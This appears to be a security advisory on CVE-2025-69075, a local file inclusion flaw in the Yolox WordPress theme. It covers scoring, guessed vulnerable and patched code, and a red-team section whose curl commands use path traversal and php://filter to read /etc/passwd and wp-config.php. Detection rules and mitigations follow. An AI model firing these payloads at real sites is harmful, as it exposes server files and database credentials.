CVE-2025-69075

Executive Summary

CVE-2025-69075 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Yolox WordPress theme developed by AncoraThemes. The vulnerability resides in the theme's improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, including configuration files, source code, and potentially credentials. The vulnerability affects all versions of Yolox up to and including 1.0.15. No official patch has been released at the time of analysis, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential impact.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and can lead to significant data leakage.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) caused by insufficient sanitization of user-supplied input used in PHP's include() or require() functions. In the Yolox theme, a parameter (likely page, template, or similar) is passed to a file inclusion function without proper validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem, such as /etc/passwd, configuration files, or PHP source code.

Root Cause: The theme likely uses a construct like:

include($_GET['template'] . '.php');

or

require_once($page . '.php');

where $page is taken directly from user input (e.g., $_GET['page']). By using path traversal sequences (e.g., ../../etc/passwd%00), an attacker can escape the intended directory and include arbitrary files. The null byte injection (%00) may be used to truncate the appended .php extension in older PHP versions, but modern PHP versions require alternative techniques like using php://filter wrappers.

Attack Scenario:

1. An attacker identifies a vulnerable parameter in the Yolox theme (e.g., ?page=...).
2. The attacker sends a crafted request: http://target.com/?page=../../../../etc/passwd%00.
3. The server includes the /etc/passwd file, displaying its contents in the response.
4. The attacker can then read sensitive files like wp-config.php to obtain database credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In Yolox theme's page.php or similar
$page = $_GET['page'];
include($page . '.php');

Patched Code (Hypothetical):

// Secure version
$allowed_pages = array('home', 'about', 'contact');
$page = $_GET['page'];
if (in_array($page, $allowed_pages)) {
    include($page . '.php');
} else {
    // Default or error
    include('home.php');
}

Or using realpath() to restrict to a specific directory:

$base_dir = '/var/www/html/wp-content/themes/yolox/pages/';
$page = $_GET['page'];
$path = realpath($base_dir . $page . '.php');
if ($path !== false && strpos($path, $base_dir) === 0) {
    include($path);
} else {
    // Error handling
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Install WordPress with Yolox theme version 1.0.15.
• Ensure the server runs PHP 5.x or 7.x (older versions are more vulnerable to null byte injection).
• Use a tool like Burp Suite or curl.

Exploitation Steps:

1. Identify the vulnerable parameter. Common parameters in themes include page, template, section, view.
2. Test with a simple path traversal:

   curl "http://target.com/?page=../../../etc/passwd"
   

3. If the response shows the contents of /etc/passwd, the vulnerability is confirmed.
4. For PHP source code disclosure, use the php://filter wrapper:

   curl "http://target.com/?page=php://filter/convert.base64-encode/resource=wp-config"
   

   Then decode the base64 output.
5. To read wp-config.php directly (if .php extension is not appended):

   curl "http://target.com/?page=../../../wp-config.php"
   

Note: No public exploit code is available, but the technique is standard LFI.

Blue Team (Defensive)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
• Look for requests with php://filter or php://input in parameters.
• Alert on requests to the Yolox theme directory with suspicious parameters.

Mitigation:

• Apply input validation and whitelisting for all file inclusion parameters.
• Use realpath() to restrict file paths to a specific directory.
• Disable allow_url_include in php.ini to prevent remote file inclusion.
• Keep the Yolox theme updated; if no patch is available, consider replacing the theme.

Indicators of Compromise (IOCs)

• URL Patterns:
  • ?page=../ or ?page=..%2f
  • ?page=php://filter/
  • ?page=../../../../etc/passwd
• Log Entries:
  • GET /?page=../../../etc/passwd HTTP/1.1
  • GET /?page=php://filter/convert.base64-encode/resource=wp-config HTTP/1.1
• File Access:
  • Unauthorized access to /etc/passwd, wp-config.php, or other sensitive files.
• Network Traffic:
  • Outbound connections from the web server to attacker-controlled hosts (if RFI is possible).

Detection Engineering

YARA Rule

rule Detect_Yolox_LFI_Attempt {
    meta:
        description = "Detects attempts to exploit CVE-2025-69075 in Yolox theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69075"
    strings:
        $path_traversal = /page=([\.]{2}[\/\\])+/
        $php_filter = /page=php:\/\/filter/
        $etc_passwd = /page=.*etc\/passwd/
    condition:
        any of them
}

Sigma Rule

title: Yolox LFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal and PHP filter usage in Yolox theme parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'page=../'
            - 'page=..%2f'
            - 'page=php://filter'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-69075 Yolox LFI Attempt";
    flow:to_server,established;
    content:"page="; http_uri;
    pcre:"/page=(\.\.\/|\.\.%2f|php:\/\/filter)/i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Yolox theme and switch to a secure alternative until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block path traversal and PHP filter patterns.
3. Review server logs for any signs of exploitation.

Long-term Fixes:

• Patch the theme: If you have development resources, apply input validation and whitelisting as shown in the patched code example.
• Monitor for updates: Check AncoraThemes' website or WordPress repository for a security update.
• Harden PHP configuration: Set allow_url_include = Off and open_basedir to restrict file access.

Workaround:

• Use .htaccess to block suspicious parameters:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (page=\.\.|page=php://) [NC]
  RewriteRule ^ - [F,L]
  

Valters IT
Securing Digital Frontiers